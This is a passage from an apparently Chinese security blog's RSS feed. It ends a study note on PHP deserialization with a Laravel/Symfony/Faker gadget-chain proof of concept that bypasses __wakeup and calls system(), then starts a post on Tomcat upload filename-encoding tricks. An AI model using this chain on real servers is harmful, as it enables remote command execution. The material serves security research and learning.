TC&#34;, &#34;Noto Sans CJK TC&#34;, &#34;WenQuanYi Micro Hei&#34;, SimSun, sans-serif;background-color: rgb(255, 255, 255);float: none;display: inline !important;"> 当中使用反射给 </span><code style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 14.399999618530273px;padding: 2px 4px;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;">$headers</code><span style="font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(64, 64, 64);color: rgb(64, 64, 64);font-family: -apple-system, &#34;Helvetica Neue&#34;, Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, STHeiti, &#34;Microsoft YaHei&#34;, &#34;Microsoft JhengHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;Source Han Sans CN&#34;, &#34;Noto Sans SC&#34;, &#34;Source Han Sans TC&#34;, &#34;Noto Sans CJK TC&#34;, &#34;WenQuanYi Micro Hei&#34;, SimSun, sans-serif;background-color: rgb(255, 255, 255);float: none;display: inline !important;"> 赋值。</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">改造之前的poc：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span><span class="code-snippet__meta">&lt;?php</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Faker</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">class</span> <span class="code-snippet__title">Generator</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">protected</span> $<span class="code-snippet__title">providers</span> = [];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">protected</span> $formatters = [];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;formatter = <span class="code-snippet__string">&#34;dispatch&#34;</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;formatters = <span class="code-snippet__number">9999</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Illuminate</span>\<span class="code-snippet__title">Broadcasting</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">class</span> <span class="code-snippet__title">PendingBroadcast</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">public</span> <span class="code-snippet__title">function</span> <span class="code-snippet__title">__construct</span>() {</span></code><code><span class="code-snippet_outer">            $<span class="code-snippet__title">this</span>-&gt;<span class="code-snippet__title">event</span> = &#34;/<span class="code-snippet__title">System</span>/<span class="code-snippet__title">Applications</span>/<span class="code-snippet__title">Calculator</span>.<span class="code-snippet__title">app</span>/<span class="code-snippet__title">Contents</span>/<span class="code-snippet__title">MacOS</span>/<span class="code-snippet__title">Calculator</span>&#34;;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;events = <span class="code-snippet__keyword">new</span> \Faker\Generator();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Symfony</span>\<span class="code-snippet__title">Component</span>\<span class="code-snippet__title">Mime</span>\<span class="code-snippet__title">Part</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">abstract</span> <span class="code-snippet__title">class</span> <span class="code-snippet__title">AbstractPart</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">private</span> $<span class="code-snippet__title">headers</span> = <span class="code-snippet__title">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">TextPart</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AbstractPart</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">protected</span> $_headers;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> $bluE0;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;_headers = [<span class="code-snippet__string">&#34;dispatch&#34;</span>=&gt;<span class="code-snippet__string">&#34;system&#34;</span>];</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;bluE0 = <span class="code-snippet__keyword">new</span> \Illuminate\Broadcasting\PendingBroadcast();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> {</span></code><code><span class="code-snippet_outer">    $<span class="code-snippet__title">pop</span> = <span class="code-snippet__title">new</span> \<span class="code-snippet__title">Symfony</span>\<span class="code-snippet__title">Component</span>\<span class="code-snippet__title">Mime</span>\<span class="code-snippet__title">Part</span>\<span class="code-snippet__title">TextPart</span>();</span></code><code><span class="code-snippet_outer">    $ser = preg_replace(<span class="code-snippet__string">&#34;/([^\{]*\{)(.*)(s:49.*)(\})/&#34;</span>,<span class="code-snippet__string">&#34;\\1\\3\\2\\4&#34;</span>,serialize($pop));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">echo</span> base64_encode(str_replace(<span class="code-snippet__string">&#34;i:9999&#34;</span>,<span class="code-snippet__string">&#34;R:2&#34;</span>,$ser));</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="276" data-source-title="https://inhann.top/2022/05/17/bypass_wakeup/"><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li data-content-utf8-length="85"><section class="js_blockquote_digest"><p>让 Faker\Generator 的 $this-&gt;formatters 引用到 Symfony\Component\Mime\Part\TextPart 继承的 $headers。</p></section></li><li data-content-utf8-length="72"><section class="js_blockquote_digest"><p><br/></p><p>将Textpart 继承的 $headers 的序列化数据排列到 Faker\Generator 的 $this-&gt;formatters 的序列化数据之前。</p></section></li><li data-content-utf8-length="112"><section class="js_blockquote_digest"><p><br/></p><p>让Faker\Generator 是  Symfony\Component\Mime\Part\TextPart 的一个属性 ，这样一来  Textpart 的 __wakeup 才会在  Faker\Generator 的 __wakeup 之后执行。</p></section></li></ol><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E8%AE%A9%26nbsp%3BFaker%5C%5CGenerator%26nbsp%3B%E7%9A%84%26nbsp%3B%24this-%26gt%3Bformatters%26nbsp%3B%E5%BC%95%E7%94%A8%E5%88%B0%26nbsp%3BSymfony%5C%5CComponent%5C%5CMime%5C%5CPart%5C%5CTextPart%26nbsp%3B%E7%BB%A7%E6%89%BF%E7%9A%84%26nbsp%3B%24headers%5Cn%E5%B0%86Textpart%26nbsp%3B%E7%BB%A7%E6%89%BF%E7%9A%84%26nbsp%3B%24headers%26nbsp%3B%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%E6%8E%92%E5%88%97%E5%88%B0%26nbsp%3BFaker%5C%5CGenerator%26nbsp%3B%E7%9A%84%26nbsp%3B%24this-%26gt%3Bformatters%26nbsp%3B%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%E4%B9%8B%E5%89%8D%E2%80%8B%E3%80%82%5Cn%E8%AE%A9%26nbsp%3B%26nbsp%3BFaker%5C%5CGenerator%26nbsp%3B%E6%98%AF%26nbsp%3B%26nbsp%3BSymfony%5C%5CComponent%5C%5CMime%5C%5CPart%5C%5CTextPart%26nbsp%3B%E7%9A%84%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%26nbsp%3B%EF%BC%8C%E8%BF%99%E6%A0%B7%E4%B8%80%E6%9D%A5%26nbsp%3B%26nbsp%3BTextpart%26nbsp%3B%E7%9A%84%26nbsp%3B__wakeup%26nbsp%3B%E6%89%8D%E4%BC%9A%E5%9C%A8%26nbsp%3B%26nbsp%3BFaker%5C%5CGenerator%26nbsp%3B%E7%9A%84%26nbsp%3B__wakeup%26nbsp%3B%E4%B9%8B%E5%90%8E%E6%89%A7%E8%A1%8C%3C%2Fp%3E%22%2C%22digestLen%22%3A300%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Atrue%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Finhann.top%2F2022%2F05%2F17%2Fbypass_wakeup%2F%22%7D"><span class="blockquote_other"><a href="https://inhann.top/2022/05/17/bypass_wakeup/" target="_blank">https://inhann.top/2022/05/17/bypass_wakeup/</a></span></section></blockquote><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><img class="rich_pages wxw-img" data-ratio="0.6359743040685225" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 484px;" data-type="png" data-w="2802" src="https://wechat2rss.xlab.app/img-proxy/?k=9e23cea7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQ1e1GNbjyiahhTXG1uNNeQ8gkjXlC0mIGzdqebmCOUOdFs8UQNib4MjuA%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;line-height: 1.5em;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;line-height: 1.5em;"><span style="font-size: 20px;">后记</span><br/></p><p><span style="color: rgb(128, 128, 128);font-family: SimHei, STHeiti;font-size: 15px;font-style: italic;background-color: rgb(255, 255, 255);">php不是很了解，就当篇学习笔记吧。</span></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzOm-1656925497075&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipwc-1656925497073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;php不是很了解，就当篇学习笔记吧。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#808080&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;},{&#34;type&#34;:&#34;italic&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U0gb-1656927020445&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rVz3-1656927020441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#808080&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;},{&#34;type&#34;:&#34;italic&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="color: rgb(128, 128, 128);background-color: rgb(255, 255, 255);font-size: 15px;font-family: SimHei, STHeiti;font-style: italic;"></span></p></article>



<p><a href="2247483748">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=73d4ff17&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483748%26idx%3D1%26sn%3D490812aaafd8ae937144a279dbc7e2da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 Jul 2022 20:29:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat Servlet 3.0 upload 小case 2.0</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483715&amp;idx=1&amp;sn=efc5e005268533f36b7cc1c31770b36d</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-06-20 23:25</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ea11e0da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3J87icqOecuY6hvBeKVQ9opCOEMibY3dnJSl5nyibWcbuYesUmxj3GzNRw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3HOF-1655695014526&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WPGc-1655695014524&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;书接上回，看了Y4tacker师傅的文章才发现在编码处还有蹊跷。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2lWJ-1655474873174&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kmcd-1655474873172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;编码特性&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qW1Z-1655694985345&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UI5W-1655694985346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在unquote函数之前，tomcat还进行了一次parse操作：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zVUU-1655695580989&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEbfc01b4e401a0c7676b9a68377418306&#34;,&#34;width&#34;:761,&#34;height&#34;:483},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEbfc01b4e401a0c7676b9a68377418306&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:483},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xun1-1655694962734&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOWS-1655694962732&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P50R-1655695588612&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lYCI-1655695588610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;查看parse实现，其中会有一个decodeText操作：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6WTW-1655695667993&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/3/WEBRESOURCEf61ab18497e4cf6797644e36f9933b23&#34;,&#34;width&#34;:761,&#34;height&#34;:483},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/3/WEBRESOURCEf61ab18497e4cf6797644e36f9933b23&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:483},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k6FX-1655703638800&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rIDq-1655703638801&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cmyE-1655695697035&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jrYw-1655695696955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;quyO-1655695696954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Map&lt;String, String&gt;parse(char[] charArray, int offset, int length, char separator) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ABli-1655695696957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wJ8L-1655695696956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (charArray == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9etN-1655695696959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fVww-1655695696958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return new HashMap();&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">书接上回，看了Y4tacker师傅的文章才发现在编码处还有蹊跷。</span></p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;">编码特性</span></p><p>在unquote函数之前，tomcat还进行了一次parse操作：</p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=d01a77fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3GWySeZpEib0ntRpgicSZCibGfOGB8MiaibTblRiaI5d5vrYmnGRkjUh5CCOg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">跟进这个类：</span></p><p><span style="background-color: rgb(255, 255, 255);">查看parse实现，其中会有一个decodeText操作：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=3f2aee0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3GIOcmqWP0j4jbGPF2R5aSOicP7jKTxCwQYXYeFZxV0b2x2jbOVJ3I7w%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Map&lt;String, String&gt; <span class="code-snippet__title">parse</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">char</span>[] charArray, <span class="code-snippet__keyword">int</span> offset, <span class="code-snippet__keyword">int</span> length, <span class="code-snippet__keyword">char</span> separator</span>)</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (charArray == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        HashMap&lt;String, String&gt; <span class="code-snippet__keyword">params</span> = <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.chars = (<span class="code-snippet__keyword">char</span>[])charArray.clone();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.pos = offset;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.len = length;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span>(<span class="code-snippet__keyword">this</span>.hasChar()) {</span></code><code><span class="code-snippet_outer">            String paramName = <span class="code-snippet__keyword">this</span>.parseToken(<span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">char</span>[]{<span class="code-snippet__string">&#39;=&#39;</span>, separator});</span></code><code><span class="code-snippet_outer">            String paramValue = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.hasChar() &amp;&amp; charArray[<span class="code-snippet__keyword">this</span>.pos] == <span class="code-snippet__string">&#39;=&#39;</span>) {</span></code><code><span class="code-snippet_outer">                ++<span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">                paramValue = <span class="code-snippet__keyword">this</span>.parseQuotedToken(<span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">char</span>[]{separator});</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (paramValue != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        paramValue = RFC2231Utility.hasEncodedValue(paramName) ? RFC2231Utility.decodeText(paramValue) : MimeUtility.decodeText(paramValue);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (UnsupportedEncodingException var9) {</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.hasChar() &amp;&amp; charArray[<span class="code-snippet__keyword">this</span>.pos] == separator) {</span></code><code><span class="code-snippet_outer">                ++<span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (paramName != <span class="code-snippet__literal">null</span> &amp;&amp; !paramName.isEmpty()) {</span></code><code><span class="code-snippet_outer">                paramName = RFC2231Utility.stripDelimiter(paramName);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.lowerCaseNames) {</span></code><code><span class="code-snippet_outer">                    paramName = paramName.toLowerCase(Locale.ENGLISH);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">params</span>.put(paramName, paramValue);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">params</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8trS-1655694963068&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUb6-1655694963067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这里判断的依据为传入的paramName是否以 \&#34; * \&#34;结尾（filename*）：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 